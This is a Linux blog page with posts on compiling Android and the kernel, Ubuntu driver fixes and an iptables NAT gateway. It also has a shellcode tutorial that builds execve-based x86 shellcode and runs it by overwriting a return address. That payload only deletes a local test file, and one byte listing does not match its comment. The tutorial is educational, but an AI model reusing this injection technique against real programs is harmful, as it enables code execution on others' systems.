Showing posts with label linux. Show all posts
Showing posts with label linux. Show all posts

Jan 21, 2013

Compile Android 2.3.3 in Slackware 14

I. Introduction:
Recently I decided to change my linux distro from ubuntu to slackware. The installation process is nice and smooth. After I install slackware, I decided to download the android 2.3.3 source and compile myself. I have done it before in ubuntu 10.04, so I told to myself how hard could it be. However I was wrong, compiling android in slackware 14 is incredibly annoying. Most of the problems are caused by gcc and perl version mismatch. Some people might say, just downgrade/upgrade your gcc/perl version and it should be fine. I know that, but changing gcc/perl version in your system might cause some problems and I don't want to take that risk. (btw, recompile gcc is very time consuming in my computer. Hardware sucks) 
Because the above reason, I decide to compile the android 2.3.3 without downgrade any tools and also to write the whole process down to remind myself how I do it.

II. Environment:

  • Linux Distro : Slackware 14 x86_64( with multilib support )
  • gcc version : 4.7.1
  • make version : 3.82
  • perl version : 5.16
  • git version : 1.71
  • python version : 2.73

Just a clean install of slackware 14.
As for multilib support just check out Alien BOB wiki and follow the instructions that wiki mentioned. 
P.S you should at least have >2GB of RAM or the building process may failed. 


III. Compiling Steps:
This post is mostly focus on how to solve the version mismatch problems; therefore, I will not cover how I setup the build environment in this post. (Most libraries that required to build android are already installed by the Slackware 14 clean install)
After you follow the ASOP instructions and install all the necessary packages, it is time to type make command. (I highly recommend that use 'make -j1' instead of 'make -j8' )

1. GCC version mismatch:
The following is an example of how this kind of error message look like and the general solutions of how to solve this kind of problems. Figure 1 shows how this kind of error message looks like. There are two ways to solve this kind of problem. 
The first one is add "this->" in front of all the variables that appear in the error message. However, in the entire building process, you will be very annoying adding this pointer in front of all the errors.
The second method is to add  "-fpermissive" flag in the makefile. More precisely add "-fpermissive" to LOCAL_CFLAGS in Android.mk. This method is more reasonable. 
During the whole building process, there are several Android.mk files that need to be modified (adding "-fpermissive" flag)


frameworks/base/tools/aapt/Android.mk
frameworks/base/libs/utils/Android.mk
external/srec/tools/grxmlcompile/Android.mk
external/srec/tools/thirdparty/OpenFst/fst/lib/Android.mk
external/srec/tools/make_cfst/Android.mk
external/v8/Android.mksnapshot.mk

 
[figure 1] gcc version mismatch error message
[Figure 2] Add "-fpermissive" after the LOCAL_CFLAGS in the Android.mk

2. perl Switch module problem:
Switch.pm is deprecated in perl 5.16, therefore the solution is simple, patch the "external/webkit/WebCore/dom/make_names.pl". Figure 4,5,6 show some modification of this file. 
[Figure 3] Can't locate Switch.pm
[Figure 4] comment use Switch
[Figure 5] use if else instead of switch case


[Figure 6] delete the "-P" flag from preprocessor
IV. Conclusion:
After the above steps, the building process should be fine and you can see the image file in the out directory.
I also make a diff file which you can download from here: http://pastebin.com/RCfB5irk
Just download the file and type:
patch -p1 < patch_file_name.patch
Enjoy :)

Linux Kernel 1: How to Compile Linux Kernel

I. Introduction:
This post is the first post for linux kernel hacking. Before you can dig into linux kernel source you should first learn how to build a kernel yourself.
There are many distributions out there, and I prefer to use Slackware 14, gentoo or debian (not dibian based distro such as ubuntu, mint). The reason I recommend to use these two distro is because that most modern distributions have changed so many linux codes that may confused you while your are tracing linux code.

II. Environment:
  • Linux Distro: Slackware 14 x86_64
  • kernel version: 3.2.37
  • gcc version: 4.7.1
III. Contents:
1. pre-requirement:
The first thing you should do is download the kernel source that you want to build. The kernel source file can be found in : http://www.kernel.org/pub/linux/kernel/.
In my case, "linux-3.2.37.tar.bz2". Just extract the file and put it into the directory that you want. I put the source code in "$HOME/kernel/".


2. config:
Before building the kernel, you have to config it first.  type "make help" and you can see a list of options. In this part, we just focus on the config sections.
The following  are some options that are commonly used.



config          - Update current config utilising a line-oriented program
menuconfig      - Update current config utilising a menu based program
xconfig         - Update current config utilising a QT based front-end
gconfig         - Update current config utilising a GTK based front-end
oldconfig       - Update current config utilising a provided .config as base
localmodconfig  - Update current config disabling modules not loaded
localyesconfig  - Update current config converting local mods to core


The description is very self-explained therefore I'm not going to explain it. Just a quick note, if you prefer the GUI interface, type "make xconfig/gconfig" which will give you gui interface to config the kernel. In my case I use "make localmodconfig" which will set the config file according to your system modules.

------------------------------------[update]---------------------------------------------------------
 you can also use "gcat /proc/config.gz > .config" if your previous kernel has enable the IKCONFIG  and IKCONFIG_PROC flag. This will copy the previous kernel configuration to your current kernel source. After you finished the above command you can still type "make oldconfig" if you are using a newer kernel. (The newer kernel may have some new features )
Thank you +Eric Garland. :)


3. build the kernel:
If this is the first time you compile this kernel Type "make all -j8" to compile the kernel. The "make help" output tell us that the make install will build the target marked * and the default one is "vmlinuz" and "modules".
However, if u have compiled the kernel before and there is no new featured that is added in the config file.You can type "make vmlinuz -j8" instead. It will only build the vmlinuz and will not build the modules.
If you have add a new modules or edit the modules source code you can type "make modules -j8" to only compile the linux modules.
P.S Compiling the linux kernel may take some time according to your hardware. (get a cup of coffee or watch a movie :P)

4. Install the modules:
If this is the first time you build the linux kernel: type "sudo make modules_install". If your haven't modify any kernel modules or add a new one in the config file, this step can be skiped.


5. Install the kernel:
Instead of typing "make install" I prefer using the following command.


sudo cp arch/x86_64/boot/bzimage /boot/vmlinuz-3.2.37
sudo mkinitrd -c -k 3.2.37 -m ext4 -f ext4 -r /dev/sdaN -o /boot/initrd-3.2.37.img


More detailed about mkinitrd command, type "man mkinitrd" or check out this link: http://mirrors.slackware.com/slackware/slackware-11.0/extra/linux-2.6.17.13/README.initrd


6. Update your bootloader:
Since I'm using slackware and the default bootloader of slackware is lilo, so I have to edit the /etc/lilo.conf. After modified the /etc/lilo.conf type "sudo lilo".


7. Command Walk through:

        // if this is the first time you compile the kernel
make mrproper;
// if this is the first time you compile the kernel or want to add some new features to your kernel.
make localmodconfig/menuconfig/xconfig/gconfig;
make all && make modules_install; // if this is the first time you compile the kernel or adding new stuff to the
make vmlinuz; // if you just change the kernel source
make modules && make modules_install; // if you have add a new module in config file or modify the module source code
cp arch/x86_64/boot/bzimage /boot/vmlinux-3.2.37
mkinitrd -c -k 3.2.37 -m ext4 -f ext4 -r /dev/sda2
-----update your bootloader----
echo "done";



IV Conclusion:
This is basically how to compile a linux kernel. I will talk about some more configuration and some tools to help you trace the linux code. Happy Hacking.

Oct 3, 2012

Ubuntu 12.04 notes.

Ubuntu 12.04 has been released for a while. I recently installed this version and almost everything works great except the video and wireless driver. I have google for a very long time and viewed many threads to solve these two problems. Therefore, this post is just to remind me how I solved this problem.

Video Drivers:

My notebook's graphic card is ati radeon hd 4300. If you want to check what graphic card your computer is using just type:

lspci -vnn | grep VGA

and it will show you the information that you need.
Actually, there are many ways to install the graphic drivers. The following is just how I set my video drivers.
First make sure you haven't installed an old fglrx drivers. If you do, simply type:

sudo apt-get remove --purge fglrx* fglrx_* fglrx-amdcccle* fglrx-dev*

this command will remove the fglrx driver that your system is currently using.
After remove the old drivers, download the binary file from the amd support web site:
In my case, the binary file I need to download is as follow. http://support.amd.com/us/gpudownload/windows/previous/12/Pages/radeon_linux.aspx?os=Linux%20x86&rev=12.4
After download the binary file type:

chmod +x amd-driver-installer-12-4-x86.x86_64.run
./amd-driver-installer-12-4-x86.x86_64.run --buildpkg Ubuntu/precise
sudo dpkg -i *.deb

That's it. Reboot your system and the fglrx should installed properly.
More detailed, check the following two reference websites.
https://help.ubuntu.com/community/BinaryDriverHowto/ATI
http://askubuntu.com/questions/124292/what-is-the-correct-way-to-install-ati-catalyst-video-drivers

Wireless Drivers:

My notebook's wireless NIC is Broadcom BCM 4312. Again, if you want to know what chipset your device is using type:

lspci -vnn | grep Network

And it will print out the information you need. After knowing the chipset, it's time to find out what kind of driver/module that I need. Actually, installing the new wireless driver is very simple in ubuntu 12.04. Just type sudo apt-get install backport-module-cw-$kernel_version the kernel_version is your kernel version which can use uname command to verify it. After this instruction, it will install almost all the wireless module(atheros or broadcom chipset) from newer kernel version. Hope this post can help others. :)

Nov 12, 2011

setting linux as a gateway

Introduction:
Since my school project need to set up an ethernet environment. I need to create an internal network under virtualbox. The first step is to setup the gateway inside a virtualbox. After google for a while, I finally setting up my linux as a gateway.
Environment :
linux distribution: alpine linux 2.3
kernel version:    3.0
virtualbox network adapter setting:
     1. host-only network=> eth0 for internal network.
     2. bridged network => eth1 for internet.
the connection state is like the following figure:
<figure>
<<internet>>----------<<alpine linux>>------------<<internal>>
            eth1 pppoe                 eth0 NAT

P.S
The reason why I use alpine linux instead of other distribution is that it is tiny but contains the utilities that to set up my environment.
alpine linux download link:
http://alpinelinux.org/
alpine linux installation guide:
http://wiki.alpinelinux.org/wiki/Installation

Content:
I'll write down all the steps that I configure the internet.
include:
1. package requirement
2. configure the network interface
3. setting up the iptables
4. enable packet forwarding
 1.package requirement:

rp-pppoe => pppoe client side program
iptables => firewall
ppp  => ppp deamon
that's all. 

2.configure the network interface
   2.1. the internal network:
      configure the /etc/network/interface
      add the following line to the file.
auto eth0
iface eth0 inet static
address 192.168.56.254
netmask 255.255.255.0
network 192.168.56.0
broadcast 192.168.6.255
      the address, netmask, network and broadcast can be changed according to you network setting. 

   2.2.pppoe configuration:
      type 
      pppoe-setting => to start pppoe configuration. 
      After setting up type 
      pppoe-connect => connect to the internet via pppoe. 
      You can check the result by typing:
      ifconfig | less

3.setting up the iptables:
   type the following command to set the iptables rules:      
   iptables -A FORWARD -o eth1 -i eth0 -s 192.168.56.0/24 -m conntrack --ctstate NEW -j ACCEPT
   iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT 
   iptables -A POSTROUTING -t nat -j MASQUERADE

4.enable packet forwarding:
    type
    echo 1 > /proc/sys/net/ipv4/ip_forward
    type
    cat /proc/sys/net/ipv4/ip_forward => check the result.

reference website:
http://wiki.alpinelinux.org/wiki/Alpine_Linux_package_management#Packages_and_Repositories
http://www.linuxfromscratch.org/blfs/view/6.2.0/connect/other.html
http://tldp.org/HOWTO/DSL-HOWTO/configure.html
http://www.brennan.id.au/05-Broadband_Connectivity.html
https://help.ubuntu.com/community/Internet/ConnectionSharing

Jul 4, 2011

Shell code 5(execve system call)

This article is mainly reference by this website:
smash the stack for fun and profit
This time I'll use execve system call to remove a file called "test".
Before started, let's see how execve works in c.
the man page of execve
#include <unistd.h>
       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

As you can see, there are three formal parameters in execve system call.
1. the filename is the file you want to execute.
2. argv  is  an  array  of argument strings passed to the new program.
3. the last one is not important in our shellcode, so I will not explain it in detail.
Let's write a simple C program which use the execve system call.
execve_pre.c
#include <unistd.h>
int main(){
        char *argv[]={"/bin/rm","./test",NULL};
        execve(argv[0],argv,NULL);
        return 0;
}
compile the program and execute with the following command.
1.gcc -o exe.out execve_pre.c
2.touch test 
P.S the touch command is to create a empty file.
3. ./exe.out

And you will see the "test" is being removed.

Now turn this into the inline assembly.
execve.c
char *argv[]={"/bin/rm","./test",NULL};
int main(){
        __asm__("movl $0xb,%eax;\
                 movl argv,%ebx;\
                 movl $argv,%ecx;\
                 movl $0,%edx;\
                 int $0x80;\
                 movl $0x1,%eax;\
                 movl $0x0,%ebx;\
                 int $0x80;\
                 ");
        return 0;
}
Compile and execute it.
The result is the same as the previous example.
However, as I mentioned before, I don't want the data outside the shellcode.
Therefore, I need to write the data into the shell code. 
And the way I get the address of the data is still the same, the relative jmp/call trick.
The following is the code looks like:
execve2.c

int main(){
        __asm__("jmp 2f;\n\
                 1:;\n\
                 xor %eax,%eax;\n\
                 popl %esi;\n\               
                 movl %esi,%ebx;\n\
                 leal 0x8(%esi),%esi;\n\
                 pushl %eax;\n\
                 pushl %esi;\n\
                 pushl %ebx;\n\               
                 movl $0xb,%eax;\n\
                 movl %esp,%ecx;\n\
                 xorl %edx,%edx;\n\
                 int $0x80;\n\
                 movl $0x1,%eax;\n\
                 movl $0x0,%ebx;\n\
                 int $0x80;\n\
                 2:;\n\
                 call 1b;\n\
                 .string \"/bin/rm\";\n\
                 .string \"./test\";\n\
                 .byte 0x0,0x0,0x0,0x0;\n\
                 ");
        return 0;
}
In order to create a structure like
char *argv[]={"/bin/rm","./test",NULL};
I use the stack to store those data.
1. we get the address of "/bin/rm" by the relative jmp/call trick and pop to the %esi.
2. copy the content of the %esi to %ebx.
3. leal 0x8(%esi), %esi => %esi += 8;
   After the instruction, %esi now point to the "./test"
4. push 0, address of the "./test" and address of the "/bin/rm".
P.S since the stack grows down, push the parameter in reverse order. The memory layout is list in figure 1.
<figure 1>
low ------------------------------------------ high
|address of "/bin/rm"| address of "./test" | NULL
| %ebx               | %esi                | %eax

After doing the above steps, then I can move the parameter to the register which the int $80 need.
1. since the %ebx alrealy contains the address of the structure, there is no need to set it again.
2. movl %esp,%ecx; 
store the address of the structure to the %ecx. This instruction is equal to execve(argv[0],argv,NULL);
3. xorl %edx, %edx
store the NULL pointer to the %edx. This instruction is equal to execve(argv[0],argv,NULL);
And now it's time to compile the source code and execute it.
Use objdump to copy the machine code to the new source file. (If you have no idea how to use it see the previous post of the shell code)
execve3.c
/* This is the shellcode */
char shellcode[] =
"\xeb\x22"
"\x31\xc0"
"\x5e"
"\x89\xf3"
"\x8d\x76\x08"
"\x50"
"\x56"
"\x53"
"\xb8\x0b\x00\x00\x00"
"\x89\xe1"
"\x31\xd2"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80"
"\xe8\xd9\xff\xff\xff"
"/bin/rm\x0"
"./test\x0"
"\x00\x00\x00\x00";

void main() {
   int *ret;
   /* overflow the return address */
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}
Compile the source code, use execstack to enable the executable stack and execute it, you will see the result is what we expected.

Actually the execve system call is very dangerous. The above is just using the /bin/rm to remove a file, what if someone use /bin/sh to create a new shell, the consequence is unpredictable.
After verified the result, let's now combine the whole code together.

All.c
/* 
 * The inline assembly mix all the code together.
 * It will print a message,
 * wait 2 seconds and
 * remove a file called test.
 */
int main(){
        __asm__("jmp 2f;\n\
                 1:;\n\
                 popl %esi;\n\
                 movl %esi, %ecx;\n\
                 xorl %ebx, %ebx;\n\
                 mul %ebx;\n\
                 inc %ebx;\n\
                 movb $0x4, %al;\n\
                 movb $0x8, %dl;\n\
                 int  $0x80;\n\
                 xorl %eax, %eax;\n\
                 pushl %eax;\n\
                 movb $0x2, %al;\n\
                 pushl %eax;\n\
                 movl %esp, %ebx;\n\
                 xor %ecx, %ecx;\n\
                 movb $0xa2, %al;\n\
                 int  $0x80;\n\
                 xorl %eax, %eax;\n\
                 leal 0x9(%esi),%esi;\n\
                 pushl %eax;\n\
                 movl %esi, %ebx;\n\
                 leal 0x8(%esi), %esi;\n\
                 pushl %esi;\n\
                 pushl %ebx;\n\
                 movb $0xb, %al;\n\
                 movl %esp, %ecx;\n\
                 xor %edx, %edx;\n\
                 int $0x80;\n\
                 xorl %ebx, %ebx;\n\
                 leal 0x1(%ebx), %eax;\n\
                 int $0x80;\n\
                 2:;\n\
                 call 1b;\n\
                 .string \"Run Han!\"\n\
                 .string \"/bin/rm\";\n\
                 .string \"./test\";\n\
                 .long 0x0;\n\
                ");
        return 0;
}

There is nothing much to tell of the source code. I use some instruction to reduce the code size, I will talk about reduce the code size in the next article.
And now compile the source code and use objdump to generate the shellcode.
All_shell.c
char shellcode[] =
"\xeb\x39"      /*relative jmp*/
"\x5e"          /*pop %esi*/
"\x89\xf1"      /*movl %esi, %ecx*/
"\x31\xdb"      /*xor %ebx, %ebx*/
"\xf7\xe3"      /*mul %ebx*/
"\x43"          /*inc %ebx*/
"\xb0\x04"      /*mov $0x4, %al*/
"\xb2\x08"      /*mov $0x8, %dl*/
"\xcd\x80"      /*int $0x80*/
"\xb0\x02"      /*xor %eax, %eax*/
"\x50"          /*pushl %eax*/
"\xb0\x02"      /*movb $2, %al*/
"\x50"          /*pushl %eax*/
"\x89\xe3"      /*movl %esp, %ebx*/
"\x31\xc9"      /*xor %ecx, %ecx*/
"\xb0\xa2"      /*mov $0xa2, %al*/
"\xcd\x80"      /*int $0x80*/
"\x31\xc0"      /*xor %eax, %eax*/
"\x8d\x76\x09"  /*leal 0x09(%esi),%esi*/
"\x50"          /*push %eax*/
"\x89\xf3"      /*mov %esi, %ebx*/
"\x8d\x76\x08"  /*lea 0x8(%esi), %esi*/
"\x56"          /*push %esi*/
"\x53"          /*push %ebx*/
"\xb0\x0b"      /*mov $0xb, %al*/
"\x89\xe1"      /*mov %esp, %ecx*/
"\x8d\x51\x04"  /*lea 0x4(%esp), %edx*/
"\xcd\x80"      /*int $0x80*/
"\x31\xdb"      /*xor %ebx, %ebx*/
"\x8d\x43\x01"  /*lea 0x1(%ebx), %eax*/
"\xcd\x80"      /*int $0x80*/
"\xe8\xc2\xff\xff\xff"  /*relative call*/
"Run Han!\x0"
"/bin/rm\x0"
"./test\x0"
"\x00\x00\x00\x00";

void main() {
   int *ret;
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
compile it , use execstack to enable the executable stack and execute it. After that you will see the program first print a message, wait about two seconds and remove a file called "test".

Labels